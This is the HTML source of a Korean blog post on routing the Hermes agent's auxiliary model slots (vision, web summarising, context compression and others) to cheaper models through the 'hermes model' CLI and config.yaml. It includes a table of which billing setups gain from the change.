&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes를 며칠 굴려보면 한 번쯤 이 질문이 걸린다. &quot;이미지 한 장 분석하거나 세션 제목 붙이는 일도 메인 모델이 하나?&quot; 지금 공식 문서 기준의 답은 대체로 &quot;그렇다&quot;에 가깝다. Hermes는 이미지 분석, 웹 페이지 요약, 컨텍스트 압축 같은 부가 작업을 위해 별도의 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/configuration&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;보조 모델 슬롯&lt;/a&gt;을 두지만, &lt;code&gt;auxiliary.*.provider: &quot;auto&quot;&lt;/code&gt;는 기본적으로 사용자가 고른 메인 채팅 모델로 흘러간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 Hermes의 보조 모델이 어떤 작업을 처리하는지, &lt;code&gt;hermes model&lt;/code&gt; CLI와 &lt;code&gt;config.yaml&lt;/code&gt;로 그 슬롯을 어떻게 분리해 비용을 낮출 수 있는지, 그리고 Curator 스킬 리뷰처럼 별도 보조 슬롯으로 빠진 항목은 어디서 손대는지를 살펴보려 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 트레이드오프 안내 --&gt;
&lt;div style=&quot;background-color: #fffbf0; padding: 20px 25px; border-radius: 12px; border: 2px solid #f0c060; margin: 20px 0 10px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0; font-weight: bold; font-size: 17px; color: #7a4e00;&quot; data-ke-size=&quot;size16&quot;&gt;이 가이드, 나한테도 해당될까?&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;보조 슬롯 분리의 비용 효과는 &lt;b&gt;메인 모델의 과금 구조&lt;/b&gt;에 따라 크게 달라진다. 아래 표로 본인 상황을 먼저 짚어보자.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 0 0 14px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #f5d6a8; border: 1px solid #e0b060; padding: 9px 10px; text-align: left; font-weight: 600;&quot;&gt;사용 패턴&lt;/th&gt;
&lt;th style=&quot;background-color: #f5d6a8; border: 1px solid #e0b060; padding: 9px 10px; text-align: left; font-weight: 600;&quot;&gt;분리 효과&lt;/th&gt;
&lt;th style=&quot;background-color: #f5d6a8; border: 1px solid #e0b060; padding: 9px 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #e0b060; padding: 8px 10px;&quot;&gt;API 직접 과금&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #666;&quot;&gt;(OpenRouter, Anthropic API 등)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #e0b060; padding: 8px 10px; color: #1a6e1a; font-weight: bold;&quot;&gt;효과 큼&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #e0b060; padding: 8px 10px;&quot;&gt;호출마다 토큰 비용 발생 &amp;rarr; Flash 계열로 전환 시 즉시 절감&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #e0b060; padding: 8px 10px;&quot;&gt;구독형&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #666;&quot;&gt;(ChatGPT Plus / Codex OAuth)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #e0b060; padding: 8px 10px; color: #c05800; font-weight: bold;&quot;&gt;효과 제한적&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #e0b060; padding: 8px 10px;&quot;&gt;월정액 내 소비 &amp;rarr; 보조 슬롯 호출의 한계비용 &amp;asymp; 0. 분리보다 그냥 쓰는 게 나을 수 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #e0b060; padding: 8px 10px;&quot;&gt;특수 플랜&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #666;&quot;&gt;(GLM 코딩 플랜, z.ai 등)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #e0b060; padding: 8px 10px; color: #c05800; font-weight: bold;&quot;&gt;플랜 조건에 따라 다름&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #e0b060; padding: 8px 10px;&quot;&gt;플랜에 포함된 모델이라면 분리 불필요. 초과 시 별도 과금 구조라면 분리가 유효하다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #e0b060; padding: 8px 10px;&quot;&gt;로컬 모델&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #666;&quot;&gt;(Ollama, vLLM 등)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #e0b060; padding: 8px 10px; color: #1a6e1a; font-weight: bold;&quot;&gt;비용보다 전문화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #e0b060; padding: 8px 10px;&quot;&gt;메인 모델 자체가 무료 &amp;rarr; 분리 목적은 절감보다 작업별 모델 전문화 또는 응답 속도.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 0; font-size: 14px; color: #7a4e00;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;한 줄 요약:&lt;/b&gt; API 직접 과금 사용자라면 이 가이드가 바로 써먹힌다. 구독형이나 특수 플랜 사용자는 먼저 보조 호출이 플랜 안에 포함되는지, 초과분이 별도 과금인지를 확인하는 게 먼저다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;&lt;b&gt;목차&lt;/b&gt;
&lt;ol style=&quot;margin: 10px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;왜 보조 모델 설정이 비용 문제와 직결되는가&lt;/li&gt;
&lt;li&gt;시작하기 &amp;mdash; 현재 설정 확인과 첫 분리 시도&lt;/li&gt;
&lt;li&gt;설정 방법 1: hermes model CLI로 인터랙티브 구성&lt;/li&gt;
&lt;li&gt;설정 방법 2: config.yaml 직접 편집&lt;/li&gt;
&lt;li&gt;주요 설정 키 &amp;mdash; provider / model / base_url / timeout&lt;/li&gt;
&lt;li&gt;Curator 별도 슬롯 설정&lt;/li&gt;
&lt;li&gt;비용 절감 전략 &amp;mdash; 작업별 모델 매칭 가이드&lt;/li&gt;
&lt;li&gt;트러블슈팅 &amp;mdash; 흔한 오류와 진단 명령&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 왜 보조 모델 설정이 비용 문제와 직결되는가&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;1104&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pk0GP/dJMcaad5UF3/EscAI5f7kn39d3hclr3TQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pk0GP/dJMcaad5UF3/EscAI5f7kn39d3hclr3TQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pk0GP/dJMcaad5UF3/EscAI5f7kn39d3hclr3TQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpk0GP%2FdJMcaad5UF3%2FEscAI5f7kn39d3hclr3TQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2032&quot; height=&quot;1104&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;1104&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes는 본 채팅과는 별개로 부가 작업용 모델 슬롯을 둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서는 이를 다음과 같이 정의한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Hermes는 이미지 분석, 웹 페이지 요약, 컨텍스트 압축 등 부가 작업에 '보조' 모델을 사용합니다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, &quot;메인 모델 = 대화&quot;, &quot;보조 모델 = 잡일&quot;이라는 역할 분리가 처음부터 설계 차원에 들어가 있다는 뜻이다. 그런데 같은 문서가 곧바로 못 박는 한 줄이 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;기본값(&lt;code&gt;auxiliary.*.provider: &quot;auto&quot;&lt;/code&gt;)으로는 주 채팅 모델을 사용하지만, 비용 절감을 위해 별도 모델로 라우팅할 수 있습니다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 말해, 슬롯은 분리되어 있지만 기본값으로는 같은 모델이 들어간다. 사용자가 명시적으로 보조 모델을 지정하지 않으면 비싼 메인 모델이 이미지 한 장 보는 작업까지 떠맡는 구조다. 비용 측면에서 이 기본값은 사실상 함정에 가깝다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;공식 문서에서 확인되는 보조 작업 슬롯&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4XdAP/dJMcaiiRIRb/BPXGEEwaRKmWv725Sggl5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4XdAP/dJMcaiiRIRb/BPXGEEwaRKmWv725Sggl5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4XdAP/dJMcaiiRIRb/BPXGEEwaRKmWv725Sggl5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4XdAP%2FdJMcaiiRIRb%2FBPXGEEwaRKmWv725Sggl5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2012&quot; height=&quot;1102&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;공식 Configuration 문서는 &lt;code&gt;auxiliary&lt;/code&gt; 아래에서 vision, web_extract, approval, compression, session_search, skills_hub, mcp를 직접 보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/configuring-models&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;모델 설정 문서&lt;/a&gt;에는 title_generation까지 포함한 8개 보조 슬롯이 보이고, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/features/curator&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Curator 문서&lt;/a&gt;는 Curator 리뷰용 슬롯을 &lt;code&gt;auxiliary.curator&lt;/code&gt;로 따로 설명한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;작업명(설정 키)&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;하는 일&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;직접 확인 출처&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;vision&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;이미지 분석&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;web_extract&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;웹 페이지 요약&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;compression&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;긴 대화 컨텍스트 압축&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;session_search&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;과거 세션 검색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;title_generation&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;새 세션 제목 자동 작성&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;approval&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;위험 명령 승인 판단&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;skills_hub&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;스킬 검색과 매칭&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;mcp&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MCP 툴 라우팅&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;curator&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Curator의 스킬 검토&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 Curator 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면, 이제 &quot;공식 문서가 보장하는 건 4종뿐&quot;이라고 쓰면 틀린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 슬롯마다 중요도는 다르다. 비용 절감 효과가 바로 체감되는 쪽은 보통 vision, web_extract, compression, session_search이고, title_generation, approval, skills_hub, mcp, curator는 사용 패턴에 따라 우선순위가 갈린다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 시작하기 &amp;mdash; 현재 설정 확인과 첫 분리 시도&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보조 모델 설정에 손대기 전에, 지금 내 Hermes가 어떤 상태인지부터 확인하는 게 빠르다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1936&quot; data-origin-height=&quot;1034&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dEZCxp/dJMcadPlv2H/I0wGjg5jKjaUNkqGN0oLv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dEZCxp/dJMcadPlv2H/I0wGjg5jKjaUNkqGN0oLv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dEZCxp/dJMcadPlv2H/I0wGjg5jKjaUNkqGN0oLv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdEZCxp%2FdJMcadPlv2H%2FI0wGjg5jKjaUNkqGN0oLv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1936&quot; height=&quot;1034&quot; data-origin-width=&quot;1936&quot; data-origin-height=&quot;1034&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/reference/cli-commands&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CLI 레퍼런스&lt;/a&gt;에 따르면 &lt;code&gt;hermes config&lt;/code&gt; 명령은 구성값을 표시&amp;middot;편집&amp;middot;변경하는 통합 명령으로, &lt;code&gt;show&lt;/code&gt;, &lt;code&gt;edit&lt;/code&gt;, &lt;code&gt;set&lt;/code&gt;, &lt;code&gt;path&lt;/code&gt;, &lt;code&gt;env-path&lt;/code&gt;, &lt;code&gt;check&lt;/code&gt;, &lt;code&gt;migrate&lt;/code&gt; 같은 부분 명령을 지원한다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 현재 설정 전체 보기
hermes config show

# 보조 모델 설정만 좁혀 보기 (셸 grep)
hermes config show | grep -A 2 auxiliary&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;provider&lt;/code&gt;가 &lt;code&gt;auto&lt;/code&gt;로 잔뜩 떠 있다면, 지금 사용자의 비싼 메인 모델이 잡일까지 처리하고 있다는 신호다. 여기서부터가 비용 절감의 시작점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 분리 시도는 &lt;code&gt;hermes model&lt;/code&gt; 인터랙티브 모드를 추천한다. config.yaml을 직접 다루기 전에 어떤 프로바이더 옵션이 살아 있는지, 어떤 모델 ID가 유효한지 한눈에 보기 좋다. 익숙해지면 그때 yaml 편집이나 &lt;code&gt;hermes config set&lt;/code&gt;으로 자동화하면 된다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 3 --&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1942&quot; data-origin-height=&quot;1042&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bG2vHF/dJMcaipEwFH/K4ym9NgIOHuC7YbobJPfl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bG2vHF/dJMcaipEwFH/K4ym9NgIOHuC7YbobJPfl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bG2vHF/dJMcaipEwFH/K4ym9NgIOHuC7YbobJPfl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbG2vHF%2FdJMcaipEwFH%2FK4ym9NgIOHuC7YbobJPfl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1942&quot; height=&quot;1042&quot; data-origin-width=&quot;1942&quot; data-origin-height=&quot;1042&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 설정 방법 1: hermes model CLI로 인터랙티브 구성&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1910&quot; data-origin-height=&quot;998&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKIxqz/dJMcag6rcBn/XNrtGVairX9dVyBXFUe4aK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKIxqz/dJMcag6rcBn/XNrtGVairX9dVyBXFUe4aK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKIxqz/dJMcag6rcBn/XNrtGVairX9dVyBXFUe4aK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKIxqz%2FdJMcag6rcBn%2FXNrtGVairX9dVyBXFUe4aK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1910&quot; height=&quot;998&quot; data-origin-width=&quot;1910&quot; data-origin-height=&quot;998&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;가장 간단한 진입점은 &lt;code&gt;hermes model&lt;/code&gt; 명령이다. 공식 사용자 가이드는 다음 흐름을 제시한다.&lt;/p&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;hermes model
# &amp;rarr; &quot;Configure auxiliary models&quot; 선택
# &amp;rarr; 작업별로 프로바이더/모델 선택&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/reference/cli-commands&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CLI 레퍼런스&lt;/a&gt;는 &lt;code&gt;hermes model&lt;/code&gt;을 &quot;인터랙티브 provider + model 선택기&quot;로 정의하며, 새 제공자 추가, API 키 입력, OAuth 흐름 실행에도 같은 명령을 쓰도록 안내한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 보조 모델 라우팅 외에도 신규 프로바이더 등록까지 같은 진입점으로 묶여 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 화면 흐름을 텍스트로 옮기면 다음과 같이 정리된다.&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;code&gt;hermes model&lt;/code&gt;을 실행한다.&lt;/li&gt;
&lt;li&gt;메뉴에서 &quot;Configure auxiliary models&quot;를 선택한다.&lt;/li&gt;
&lt;li&gt;vision, compression, session_search 등 작업 단위로 들어간다.&lt;/li&gt;
&lt;li&gt;각 작업마다 프로바이더(&lt;code&gt;auto&lt;/code&gt;, &lt;code&gt;openrouter&lt;/code&gt;, &lt;code&gt;nous&lt;/code&gt;, &lt;code&gt;main&lt;/code&gt; 등)와 모델 ID를 고른다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인터랙티브 모드의 장점은 잘못된 모델 슬러그를 입력했을 때 그 자리에서 바로 거부된다는 점이다. 다만 옵션이 많아질수록 클릭 수가 늘어나고, 같은 설정을 여러 머신에 복제하기 어렵다. 팀 단위 표준화가 필요하다면 다음 절의 yaml 편집이 더 깔끔하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1532&quot; data-origin-height=&quot;1358&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfD9Jq/dJMcafsUno2/WBaIr8Sj495EsTcgPoxkkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfD9Jq/dJMcafsUno2/WBaIr8Sj495EsTcgPoxkkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfD9Jq/dJMcafsUno2/WBaIr8Sj495EsTcgPoxkkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfD9Jq%2FdJMcafsUno2%2FWBaIr8Sj495EsTcgPoxkkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1532&quot; height=&quot;1358&quot; data-origin-width=&quot;1532&quot; data-origin-height=&quot;1358&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
